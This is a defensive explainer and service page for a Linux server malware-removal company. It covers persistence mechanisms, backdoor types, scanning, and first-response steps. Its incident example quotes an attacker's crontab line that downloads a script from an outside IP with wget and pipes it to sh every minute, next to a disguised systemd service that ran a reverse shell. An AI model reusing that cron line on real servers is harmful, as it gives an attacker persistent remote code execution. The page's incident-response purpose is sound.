Why does server malware keep coming back?
Server malware returns because the persistence mechanism was not removed. Attackers install scheduled tasks, systemd services, rogue users or network backdoors that reinstall the malware whenever it is deleted. Cleaning the website files without breaking that loop means the server is re-infected within minutes.
In one root compromise we investigated, the crontab for the web server user re-downloaded a webshell every minute, while a separate systemd service kept a reverse shell running:
# crontab -l -u www-data
* * * * * wget -q -O- http://203.0.113.45/u.sh | sh >/dev/null 2>&1
# systemctl list-units --type=service | grep -i dbus
dbus-kworker.service loaded active running D-Bus kernel worker
# after clean-up
no crontab for www-data
Unit dbus-kworker.service could not be found.The order matters: we break persistence first, then clean the payloads. Read more in why malware keeps coming back.
Which server backdoors do we remove?
We remove every way an attacker can keep access to a Linux server: webshells in web roots, reverse shells and tunnels, rogue VPN nodes, cron and systemd persistence, fake system binaries, rogue users and SSH keys. These are the mechanisms we see most often in real incidents on VPS, cloud and shared servers.
| Backdoor | How it works | Where we look |
|---|---|---|
| Webshell kits (e.g. ALFA, KINGSMAN) | Browser-based file manager and command runner | Web roots, uploads, fake plugin folders |
| Reverse shell (e.g. gsocket) | Server connects out to the attacker, bypassing inbound firewalls | Processes, network connections, startup scripts |
| Rogue VPN node (e.g. Tailscale) | Attacker joins the server to their own private network | Network interfaces, installed packages, services |
| Cron / systemd persistence | Reinstalls malware on a schedule or at boot | All user crontabs, /etc/cron.*, systemd units |
| Fake system binaries | Malware disguised as kworker, sshd or similar | Package integrity checks, /tmp, /dev/shm |
| Rogue users and keys | Attacker's own login | /etc/passwd, authorized_keys |
For a deeper explanation of webshells, see what is a webshell.
How does PatientZero scan a server?
PatientZero connects to your server over SSH, deploys its scan engine to /opt/patient-zero/scan-engine and runs two scan profiles across every site on the server. The Forensic scan looks for indicators of compromise; the Malware sweep checks files and databases for malicious code. Findings appear in Reports and every action is recorded in the Activity log.
- Forensic scan (
dfir-fast): crontabs, systemd units, users, keys, listening and outbound connections, recently modified files and known shell kits. - Malware sweep (
malware-intelligence): obfuscated PHP, injected JavaScript, SEO spam and database injections across every site. - Harden: playbooks for SSH, firewall and PHP execution in uploads.
- Fix entry points: guided fixes for the vulnerability or credential that let the attacker in.
See the Forensic scan and Malware sweep pages for detail.
Should you clean the server or rebuild it?
After a root-level compromise, a clean rebuild is sometimes the safer option, because you cannot fully trust a system the attacker controlled. In many cases a thorough forensic clean is enough; where it is not, we migrate the sites to a fresh, hardened server. We advise on which is right once we have seen the evidence.
Signs that point towards a rebuild include modified kernel modules, tampered package managers or a compromise that is too old to reconstruct from logs. Unlimited removal covers clean-ups on every plan; fair use applies to full server rebuilds, which we scope with you. Clean server migration is also available as an add-on. Hosting on AWS Lightsail, cPanel or CloudPanel? See our guides on hacked Lightsail servers and cPanel and CloudPanel clean-up.
What should you do if your server is compromised?
Contain it without destroying evidence. Take a snapshot of the server if your provider supports it, change passwords and SSH keys from a device you trust, restrict inbound access to your own IP where possible, and record what you have seen. Do not kill processes or delete files until the evidence has been captured.
- Snapshot the server. Most cloud and VPS providers offer disk snapshots. This preserves evidence and gives you a rollback point.
- Rotate credentials from a clean device. Provider console, root and sudo users, SSH keys, database and control panel passwords.
- Restrict access. Use your provider's firewall to limit SSH to known IP addresses while you investigate.
- Record what you see. Save the output of basic checks rather than acting on it yourself.
- Call for help. 01932 593642 or start emergency triage.
If you are comfortable on the command line, these read-only commands are a safe first look:
# list every user's crontab (read-only)
for u in $(cut -d: -f1 /etc/passwd); do crontab -l -u "$u" 2>/dev/null | sed "s/^/$u: /"; done
# outbound connections and the processes behind them
ss -tupn state established
# services enabled at boot
systemctl list-unit-files --state=enabledOur guide to VPS server security covers prevention once the server is clean.